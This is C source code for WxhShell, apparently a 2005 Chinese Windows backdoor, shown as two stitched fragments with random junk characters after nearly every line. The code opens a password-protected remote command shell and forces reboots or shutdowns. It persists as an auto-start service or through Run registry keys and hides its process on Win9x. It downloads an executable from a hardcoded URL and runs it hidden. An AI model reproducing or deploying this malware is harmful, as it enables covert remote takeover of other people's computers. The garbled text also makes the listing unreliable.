  case 'd': { VKfpk^rU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F>^KXq:Z  
    if(Boot(SHUTDOWN)) r_FI5f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9V~hz (^  
    else {  Hyenn  
    closesocket(wsh); c<~DYe;;  
    ExitThread(0); 7h2/8YUgQ  
    } `sy_'`i>X  
    break; LNrM`3%2-  
    } `:R9M+ OX  
  // 获取shell uhnnjI  
  case 's': { c6=XJvz  
    CmdShell(wsh); b6H7>x  
    closesocket(wsh); Vq/hk  
    ExitThread(0); ,\1Rf.  
    break; ;8 *"c  
  } '66nqJb*  
  // 退出 \TnK<83  
  case 'x': { @[`]w`9Q7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UUM:*X  
    CloseIt(wsh); :Ig9n :  
    break; b$pCp`/MT  
    } ew~uOG+  
  // 离开 '/rU<.1  
  case 'q': { "vkM*HP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I>w|80%%  
    closesocket(wsh); 69Z`mR  
    WSACleanup(); : ;hm^m]Y  
    exit(1); )7-mALyW  
    break; <Wj /A/  
        } #6mw CA|  
  } wlh%{l  
  } ^y93h8\y  
V\Y, 4&bI  
  // 提示信息 __uk/2q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V?>&9D"m  
} Q,tjODc6n  
  } %s5( ''a.  
FPZ@6  
  return; |mdf u=  
} OwgPgrV  
J-azBi  
// shell模块句柄 ep`8LQf  
int CmdShell(SOCKET sock) M\Wg|gpy  
{ $]W*;MTI}  
STARTUPINFO si; 7TU77  
ZeroMemory(&si,sizeof(si)); q1 BpE8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v}z^M_eFm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o/vD]Fs  
PROCESS_INFORMATION ProcessInfo; gdh|X[d  
char cmdline[]="cmd"; Uxe]T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :RYYjmG5;  
  return 0; t:,lz8Y~  
} k^B7M}  
z,@R jaX  
// 自身启动模式 (Hmhb}H  
int StartFromService(void) 1gvh6eE F  
{ RUut7[r  
typedef struct |TJu|zv^  
{ 5nmE*(  
  DWORD ExitStatus; }XRfHQk  
  DWORD PebBaseAddress; Q&PEO%/D  
  DWORD AffinityMask; \[8uE,=|  
  DWORD BasePriority; ]C|xo.=?]  
  ULONG UniqueProcessId; %RzkP}1>E  
  ULONG InheritedFromUniqueProcessId; ;qUd]c9oi  
}   PROCESS_BASIC_INFORMATION; #k!;=\FV  
mM+^v[=  
PROCNTQSIP NtQueryInformationProcess; /nt%VLms %  
&4M,)Q (  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MRK3Cey}%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 83'rQDo)G  
|uRYejj#j  
  HANDLE             hProcess; YW8Odm  
  PROCESS_BASIC_INFORMATION pbi; r-[YJzf@P  
/"R{1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z^KWYe'w  
  if(NULL == hInst ) return 0; Cs,t:ajP  
M{Vi4ehOq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N~(?g7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sd*NY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hsI9{j]f  
H4M`^r@)'  
  if (!NtQueryInformationProcess) return 0; =trLL+vGw'  
)Q|sW+AF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Rp}Sm,w(  
  if(!hProcess) return 0; H~0B5Hl!F  
COH>B1W@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )Oj{x0{\Q  
'm/`= QX  
  CloseHandle(hProcess); =}F$r5]  
;`a~9uG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WOYN% 0#  
if(hProcess==NULL) return 0; `2HNQiK'@  
<sjz_::V8R  
HMODULE hMod; Cv]$w(k  
char procName[255]; 5hlS2fn  
unsigned long cbNeeded; Cg^1(dBd[9  
5&134!hC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h]o{> |d9  
5d)\Z0s  
  CloseHandle(hProcess); !Bhs8eGr3  
TO] cZZ<  
if(strstr(procName,"services")) return 1; // 以服务启动 D}nRH@<`  
xK_0@6  
  return 0; // 注册表启动 !XF:.|  
} :HH3=.qAp`  
e:|Bn>*  
// 主模块 lfLLk?g3k  
int StartWxhshell(LPSTR lpCmdLine) ]%h|ox0  
{ [|L~" BB  
  SOCKET wsl; E*}1_,q)  
BOOL val=TRUE; 1@^*tffL:  
  int port=0; YH0utc  
  struct sockaddr_in door; &2pa9i  
XILreATK@  
  if(wscfg.ws_autoins) Install(); ?]58{O(?c  
'77Gg  
port=atoi(lpCmdLine); wD $sKd  
tI+P&L"  
if(port<=0) port=wscfg.ws_port; R!RgQwEak  
V<t!gT#&o!  
  WSADATA data; \7 *"M y*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jd}-&DN  
4@Xd(F_d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z$Vd8U;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `4t*H>:y  
  door.sin_family = AF_INET; .J2tm2]"EZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %OT?2-d  
  door.sin_port = htons(port); 7[YulC-pH  
- D^v:aC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %xP'*EaM?  
closesocket(wsl); mP -Y9*k  
return 1; b|u0a6  
} 'a=QCO 0  
t ;bU#THM  
  if(listen(wsl,2) == INVALID_SOCKET) { )'axJ  
closesocket(wsl); ) t$o0!  
return 1; ^eCMATE  
} ~_ |ZUb  
  Wxhshell(wsl); 7;Vqr$9)  
  WSACleanup();  7D\:i1~  
pXoT@[}  
return 0; _K<Z  
ECLQqjB  
} 78FLy7  
/fC8jdp&  
// 以NT服务方式启动 \@GKVssw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g I@I.=y  
{ c"`CvQO64  
DWORD   status = 0; A%% Vyz  
  DWORD   specificError = 0xfffffff; 9wpV} .(  
XjU/7Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #0 eop>O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +YCKd3/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @ wx  
  serviceStatus.dwWin32ExitCode     = 0; ,2Q5'!o  
  serviceStatus.dwServiceSpecificExitCode = 0; |&AZ95v   
  serviceStatus.dwCheckPoint       = 0; ;&ypvKG  
  serviceStatus.dwWaitHint       = 0; 6"u"B-cz  
e>!=)6[*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -=a,FDeR  
  if (hServiceStatusHandle==0) return; ]seOc],4  
4-~S"T8<u  
status = GetLastError(); G"nGaFT~  
  if (status!=NO_ERROR) {6gY6X-R  
{ 9]PMti  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q;0 g  
    serviceStatus.dwCheckPoint       = 0; XSe\@t~&g  
    serviceStatus.dwWaitHint       = 0; D;+sStZK3  
    serviceStatus.dwWin32ExitCode     = status; I9O%/^5^[w  
    serviceStatus.dwServiceSpecificExitCode = specificError; /=S\v<z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UA(&_-C\  
    return; 0c$ ')`! m  
  } 4s7&*dJ  
:L5k#E "u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8>a%L?BY  
  serviceStatus.dwCheckPoint       = 0; 1Y(NxC0P=g  
  serviceStatus.dwWaitHint       = 0; @"O|[%7e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vl%UT@D|  
} ytyB:# J  
eizni\  
// 处理NT服务事件,比如:启动、停止 tM3Q;8gB!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nIf~ds&TT  
{ i.0.oy>  
switch(fdwControl) -X_dY>>s  
{ 9oTtH7%  
case SERVICE_CONTROL_STOP: AY_GD ^  
  serviceStatus.dwWin32ExitCode = 0; o3(:R0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Tga%-xr+  
  serviceStatus.dwCheckPoint   = 0; j kV9$W0  
  serviceStatus.dwWaitHint     = 0; -xL^UcG0  
  { 7,"y!\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,j e  
  } e)*-<AGwC  
  return; h8hyQd$!  
case SERVICE_CONTROL_PAUSE: W=\45BJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XS=f>e1<W  
  break; C zb: nyRj  
case SERVICE_CONTROL_CONTINUE: DAf0bh"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BD?u|Fd,i:  
  break; g+3_ $qIQ+  
case SERVICE_CONTROL_INTERROGATE: 8'#L+$O &N  
  break; *NCkC ~4  
}; <ZjT4><  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hd57Iw  
} a[@Y >  
!24PJ\~I  
// 标准应用程序主函数 iCtS<"@Yx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z^u*e  
{ uP$C2glyz  
K@tELYb  
// 获取操作系统版本 z>z9xG'  
OsIsNt=GetOsVer(); ;$'D13  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X"g`hT"i  
ti!kJ"q  
  // 从命令行安装 uSUog+i  
  if(strpbrk(lpCmdLine,"iI")) Install(); NK6 ~qWsu  
qi$nG_<<Z  
  // 下载执行文件 "xAIK  
if(wscfg.ws_downexe) { ^j7>Ul,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &[P(}??Y\  
  WinExec(wscfg.ws_filenam,SW_HIDE); Egmp8:nZl@  
} {$Z S 2 7  
}U|0F#0$  
if(!OsIsNt) { xM=?ES  
// 如果时win9x,隐藏进程并且设置为注册表启动 zE+^WeH|  
HideProc(); $},_O8R  
StartWxhshell(lpCmdLine); #=N6[:,  
} = OzpI  
else S/dj])g  
  if(StartFromService()) p %hvDC  
  // 以服务方式启动 ( 'Ha$O72  
  StartServiceCtrlDispatcher(DispatchTable); OmlM9cXm^4  
else )v\ A8)[  
  // 普通方式启动 pgBIYeY,  
  StartWxhshell(lpCmdLine); <Vl`EfA(  
,*8)aZ1 k  
return 0; UJ><B"  
} %k @4}M>  
8ib e#jlg  
pZKK7   
49= K]X  
=========================================== b9VI(s>  
.EZ8yJj1Q  
e!vWGnY  
E: Ul_m8  
`NfwW:  
39A|6>-?  
" Vi#[k n'  
jT`u!CwdT  
#include <stdio.h> [9yd29pQ]  
#include <string.h> +xQj-r)-  
#include <windows.h> 2M)E1q|a  
#include <winsock2.h> i ^, $/  
#include <winsvc.h> h{ZK;(u$  
#include <urlmon.h> 8S5Q{[!  
-.K'rW  
#pragma comment (lib, "Ws2_32.lib") 3zv0Nwb,  
#pragma comment (lib, "urlmon.lib") mR~S$6cc  
,6ae='=d  
#define MAX_USER   100 // 最大客户端连接数 ni6zo~+W]  
#define BUF_SOCK   200 // sock buffer P MI?PC[;  
#define KEY_BUFF   255 // 输入 buffer !QC ErE;r  
h+}{FB 29  
#define REBOOT     0   // 重启 "n{JH9sA:  
#define SHUTDOWN   1   // 关机 hqV_MeHv'  
!&5|:96o  
#define DEF_PORT   5000 // 监听端口 *VaQ\]:d  
"]W,,A-  
#define REG_LEN     16   // 注册表键长度 y5XFJj  
#define SVC_LEN     80   // NT服务名长度 BZIU@^Q_Y[  
@2`nBtk  
// 从dll定义API OS1f}<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *+(eH#_2/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /T 2 v`Li  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^CD? SP"i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &'Xgf!x  
}?MbU6"  
// wxhshell配置信息 ilZQ/hOBH  
struct WSCFG { &UO/p/a  
  int ws_port;         // 监听端口 / S@iF  
  char ws_passstr[REG_LEN]; // 口令 h-x~:$Z,  
  int ws_autoins;       // 安装标记, 1=yes 0=no x6ayFq=  
  char ws_regname[REG_LEN]; // 注册表键名 dj}|EW4  
  char ws_svcname[REG_LEN]; // 服务名 v^ v \6uEP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s[VYd:}se  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ])q,mH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (EH}lh }%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TaF;P GjVw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :ciD!Ly  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T7o7t5*  
mQ9shdvt-  
}; Fl*<N  
OLV3.~T  
// default Wxhshell configuration d%K{JkD-  
struct WSCFG wscfg={DEF_PORT, `fl$ o6S/  
    "xuhuanlingzhe", xNa66A-8  
    1, $GHi9aj_P  
    "Wxhshell", ;f=.SJF  
    "Wxhshell", ?}= $zN  
            "WxhShell Service", 4J?\JcGs  
    "Wrsky Windows CmdShell Service", "'/+}xM"5  
    "Please Input Your Password: ", r]]:/pw?t  
  1, h iK}&  
  "http://www.wrsky.com/wxhshell.exe", [+="I &  
  "Wxhshell.exe" fPstS ez   
    }; J*m7 d4^  
JB=L{P J  
// 消息定义模块 )1$H 7|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Nq|y\3]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t;u)_C,bmP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m"6K_4r]  
char *msg_ws_ext="\n\rExit."; KHGUR(\Rd6  
char *msg_ws_end="\n\rQuit."; \HQ.Pwr 6  
char *msg_ws_boot="\n\rReboot..."; o/[Ks;l  
char *msg_ws_poff="\n\rShutdown..."; ,?`kYPZ  
char *msg_ws_down="\n\rSave to "; _;:_ !`  
(:h&c6'S)b  
char *msg_ws_err="\n\rErr!"; .~TI%&#  
char *msg_ws_ok="\n\rOK!"; P>^$X  
yU"#2 *C  
char ExeFile[MAX_PATH]; P*OT&q  
int nUser = 0; ;jO+<~YP!  
HANDLE handles[MAX_USER]; L3 KJ~LI  
int OsIsNt; {xOzxLB;  
Ps;4]=c  
SERVICE_STATUS       serviceStatus;  kKY,&Fn-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :nfy=*M#  
Zq H-]?)  
// 函数声明 k_?~@G[I  
int Install(void); 4ElS_u^cP7  
int Uninstall(void); &>R:oYN  
int DownloadFile(char *sURL, SOCKET wsh); &JD^\+7U:  
int Boot(int flag); +_QcLuV,  
void HideProc(void); BB ::zBg  
int GetOsVer(void); '@IReMl  
int Wxhshell(SOCKET wsl); *)oBE{6D  
void TalkWithClient(void *cs); 5@ Hg 4.  
int CmdShell(SOCKET sock); rFUd  
int StartFromService(void); N P5K1:  
int StartWxhshell(LPSTR lpCmdLine); )J2UNIgN  
} :gi<#-:G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sP~xe(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U-U(_W5&  
" BLJh)i  
// 数据结构和表定义 _a_T`fE&de  
SERVICE_TABLE_ENTRY DispatchTable[] = &7\fj  
{ YPO24_B  
{wscfg.ws_svcname, NTServiceMain}, B|{E[]iK  
{NULL, NULL} 4vkqe6  
}; DJqJ6z:'  
I :bT"N  
// 自我安装 {~G~=sC$  
int Install(void) D 5:'2i  
{ bfpoX,:   
  char svExeFile[MAX_PATH]; 2 gca *  
  HKEY key; 09{s'  
  strcpy(svExeFile,ExeFile); i9`-a/  
Vi0D>4{+  
// 如果是win9x系统,修改注册表设为自启动 ikb77 ?.  
if(!OsIsNt) { 7) a f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `DM)tm3&m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4Y4zBD=<  
  RegCloseKey(key); NgF"1E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $1Wb`$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G|||.B 8  
  RegCloseKey(key); s?4nR:ZC}  
  return 0; 73SH[f[g  
    } )5y" T0]  
  } q!~DCv df  
} \MPbG$ ^  
else { Y^;izM}  
u1d%wOY  
// 如果是NT以上系统,安装为系统服务 yJ6g{#X4K<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2 !9Zw$  
if (schSCManager!=0) {>XoE %  
{ >p" U|  
  SC_HANDLE schService = CreateService F[W0gjUc  
  ( %%)y4>I  
  schSCManager, Tks"GlE*D  
  wscfg.ws_svcname, FJxb!- 0&  
  wscfg.ws_svcdisp, %az6\"n  
  SERVICE_ALL_ACCESS, xO,;4uE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DF gM7if  
  SERVICE_AUTO_START, <=w!:   
  SERVICE_ERROR_NORMAL, WT3g31  
  svExeFile, @O-\s q  
  NULL, R|` `A5zQ  
  NULL, |x>5T}  
  NULL, =^_a2_BBl  
  NULL, /Ei e5p  
  NULL u`Y~r<?P(  
  ); ELG9ts+5Uj  
  if (schService!=0) 2"%f:?xV{  
  { [;ZC_fD  
  CloseServiceHandle(schService); * X}2  
  CloseServiceHandle(schSCManager); Pf?15POg&B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |`V=hqe{  
  strcat(svExeFile,wscfg.ws_svcname); 'op_GW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |Q";a:&$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]D=fvvST  
  RegCloseKey(key); ~`B]G  
  return 0; ya,-Lt  
    } !@ y/{~Gu  
  } 3TS:H1n  
  CloseServiceHandle(schSCManager); >l=^3B,j  
} >J)4e~9EJ2  
} } j;es(~D  
RZ ?SiwE  
return 1; Kxz|0l  
} D0TFC3.k}  
Mm9*$g!R  
// 自我卸载 kc}|L9  
int Uninstall(void) oJ/=&c  
{ -%{+\x2  
  HKEY key; 4T v=sP  
)e6sg]#  
if(!OsIsNt) { | qelvK*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #CB Kt,  
  RegDeleteValue(key,wscfg.ws_regname); J(= y$8xje  
  RegCloseKey(key); ^uVPN1}b^@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !T8sWMY  
  RegDeleteValue(key,wscfg.ws_regname); |B64%w>Y  
  RegCloseKey(key); 2 &_>2"=<@  
  return 0; a$bE2'cb  
  } YIb7y1\UM  
} s'IB{lJ9  
} b@K1;A! S  
else { CJs ~!ww  
P7l3ZH( g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p1mAoVxR  
if (schSCManager!=0) h|lH`m^  
{ /V#? d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Cn5;h(r  
  if (schService!=0) EVA&By6_k  
  { P.1Z@HC  
  if(DeleteService(schService)!=0) { bUSa#pNO>  
  CloseServiceHandle(schService); HnsLYY\  
  CloseServiceHandle(schSCManager); G-sQL'L[U  
  return 0; 2:e7'}\D.  
  } }LLQ +  
  CloseServiceHandle(schService); wL6G&6]</W  
  } HYY+Fv5  
  CloseServiceHandle(schSCManager); %5@> nC?`[  
} x(~V7L>"i  
} PpF`0w=1%l  
ZW@cw}  
return 1; 0(&Rm R  
} X;#Ni}af  
c%+uji6  
// 从指定url下载文件 U!JmSP  
int DownloadFile(char *sURL, SOCKET wsh) h%v qt~0  
{ =@X?$>'  
  HRESULT hr; j X*gw6!  
char seps[]= "/"; W2M[w_~QE  
char *token; w"O;: `|n  
char *file; 6KPjZC<  
char myURL[MAX_PATH]; L%-ENk  
char myFILE[MAX_PATH]; ilZ5a&X;  
1(% 6X*z  
strcpy(myURL,sURL); X\*H7;k,  
  token=strtok(myURL,seps); [lK`~MlQ  
  while(token!=NULL) WH fl|e  
  { lEb H4 g  
    file=token; Rd5pLrr[0)  
  token=strtok(NULL,seps); |W&K@g$  
  } P\z1fscnK  
n,_9Eh#WD  
GetCurrentDirectory(MAX_PATH,myFILE); #Pg?T%('`  
strcat(myFILE, "\\"); ![MtJo5  
strcat(myFILE, file); rhGB l`(B  
  send(wsh,myFILE,strlen(myFILE),0); ]g,j  
send(wsh,"...",3,0); -B-HZ_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1W}k>t8?h'  
  if(hr==S_OK) 7;?7q  
return 0; O~6AX)|&=  
else u9]M3>  
return 1; +8GxX$  
Lw?>1rTT/  
} t_(S e  
>N}+O<Fc  
// 系统电源模块 GSH,;cY  
int Boot(int flag) C/ ]Bx  
{ pK/RkA1  
  HANDLE hToken; [d>2F  
  TOKEN_PRIVILEGES tkp; fQ_tXY  
Z0wH%o\  
  if(OsIsNt) { NvpDi&i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  Lu[Hz8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %uo#<Ny/ I  
    tkp.PrivilegeCount = 1; oB '5':  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2&AX_#P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \rS-}DG  
if(flag==REBOOT) { i=fhK~Jd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %0f*OC  
  return 0; W4h]4X  
} ``kesz  
else { `H^ H#W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SLvo)`Nc3-  
  return 0; ^lK!tOeO  
} zNEN[  
  } x'%vL",%  
  else { yDpv+6(a  
if(flag==REBOOT) { i9peQ61{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eV0eMDY5  
  return 0; >F/E,U ]  
} F^=y+}]=  
else { =H}}dC<)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ie8K [ >  
  return 0; -YipPo"a  
} 7&V3f=aj6  
} ?b]f$ 2  
=Prz|   
return 1; 5xH*&GpL7  
} }UG<_ bE|  
HEK?z|Ne  
// win9x进程隐藏模块 z34+1d  
void HideProc(void) x LK,Je  
{ ZalL}?E ?  
W,nn,%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b}hQU~,E  
  if ( hKernel != NULL ) V:gXP1P  
  { iciRlx.$c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *kJa$3*r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gM6o~ E  
    FreeLibrary(hKernel); FGpV ]p  
  } obgO-d9l  
P>|sCF  
return; Maiyd  
} #"o`'5  
C"h7'+Kw  
// 获取操作系统版本 1flBA,6L  
int GetOsVer(void) OoZv\"}!_  
{ ]:4\ rBR3  
  OSVERSIONINFO winfo; P;ZVv{mT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8BnsYy)j  
  GetVersionEx(&winfo); Uz `OAb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )/bv@Am  
  return 1; ZYz8ul$E  
  else os+ ]ct  
  return 0; (~:ip)v  
} U a1Z,~ *  
. B6mvb\  
// 客户端句柄模块 5N|hsfkx  
int Wxhshell(SOCKET wsl) e&9v`8}   
{ 4&B|rf  
  SOCKET wsh; 3 gW+|3E  
  struct sockaddr_in client; mxCqN1:#  
  DWORD myID; ,B,0o*qc{K  
h;J%Z!Rjw  
  while(nUser<MAX_USER) 1kh()IrA  
{ v0%FG9Gk  
  int nSize=sizeof(client); ?"p.Gy)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {\ BFWGX  
  if(wsh==INVALID_SOCKET) return 1; BM02k\%  
G-DOI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,WS{O6O7  
if(handles[nUser]==0) U H6 Jvt  
  closesocket(wsh); 0-Wv$o[  
else !LpFK0rw  
  nUser++; HU-#xK  
  } 8oP"?ew#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PkF'#W%  
TnPx.mwK\  
  return 0; <\?dPRw2>  
} WAGU|t#."  
stOD5yi  
// 关闭 socket &t74T"(d  
void CloseIt(SOCKET wsh) <A] Kg  
{ FC8#XZp  
closesocket(wsh); 51!#m|  
nUser--; RG`eNRTQ%  
ExitThread(0); ztV%W6  
} ,Z[pLF  
=UZm4=T  
// 客户端请求句柄 J-~:W~Qx4N  
void TalkWithClient(void *cs) ]hY4 MS  
{ uBo~PiJ2"  
Pb/[945  
  SOCKET wsh=(SOCKET)cs; jp#/]>(9Z  
  char pwd[SVC_LEN];  5f_1 dn  
  char cmd[KEY_BUFF]; ob7hNo#  
char chr[1]; ~P+;_  
int i,j; Kl*/{&,P  
m%i!;K"{s  
  while (nUser < MAX_USER) { x7c#kU2A&Z  
Dmn{ppfyb  
if(wscfg.ws_passstr) { ^e1mK4`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?xzDz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SHe547X1  
  //ZeroMemory(pwd,KEY_BUFF); Uy{ZK*c8i  
      i=0; V%n7 h&\%  
  while(i<SVC_LEN) { Ly`FU)  
 =E:a\r  
  // 设置超时 v'u}%FC  
  fd_set FdRead; _S6SCSFc  
  struct timeval TimeOut; Zs}EGC~&  
  FD_ZERO(&FdRead); E>`gj~  
  FD_SET(wsh,&FdRead); d{RMX<;G  
  TimeOut.tv_sec=8; !+ ??3-q  
  TimeOut.tv_usec=0; p`oHF  5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rJc=&'{&)N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X6EnC57  
IFF3gh42.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p|'Rm ]&jb  
  pwd=chr[0]; 9I*`~il>{  
  if(chr[0]==0xd || chr[0]==0xa) { ug9]^p/)^  
  pwd=0; \%]!/&>{6  
  break; k3r<']S^  
  } to;cF6X  
  i++; hg}R(.1K=  
    } {$)pkhJ  
N PE7AdB8  
  // 如果是非法用户,关闭 socket ^uWj#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %jj\w>  
} Ox"SQ`nSj'  
y_f^ dIK*=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,PZ[CX;H@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T+)#Du  
j'nrdr6n  
while(1) { ? ]hS^&  
zZ{(7K fz  
  ZeroMemory(cmd,KEY_BUFF); 'V(9ein^Q  
>Mk#19j[/  
      // 自动支持客户端 telnet标准   x.aqy'/`  
  j=0; D 13bQ&\B-  
  while(j<KEY_BUFF) { A=pyaU`aE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WOuk> /  
  cmd[j]=chr[0]; 3"iJ/Hc}9  
  if(chr[0]==0xa || chr[0]==0xd) { mA0|W#NB  
  cmd[j]=0; ='\E+*[$I  
  break; |bv7N@?e  
  } h&m4"HBL_  
  j++; }R2afTn[;  
    } DjQgF=;  
vy1N, 8a  
  // 下载文件 @1iH4RE*  
  if(strstr(cmd,"http://")) { P_%kYcX'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JzuP A I  
  if(DownloadFile(cmd,wsh)) k|[86<&[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f&L8<AS Fo  
  else nT xN>?l2E  
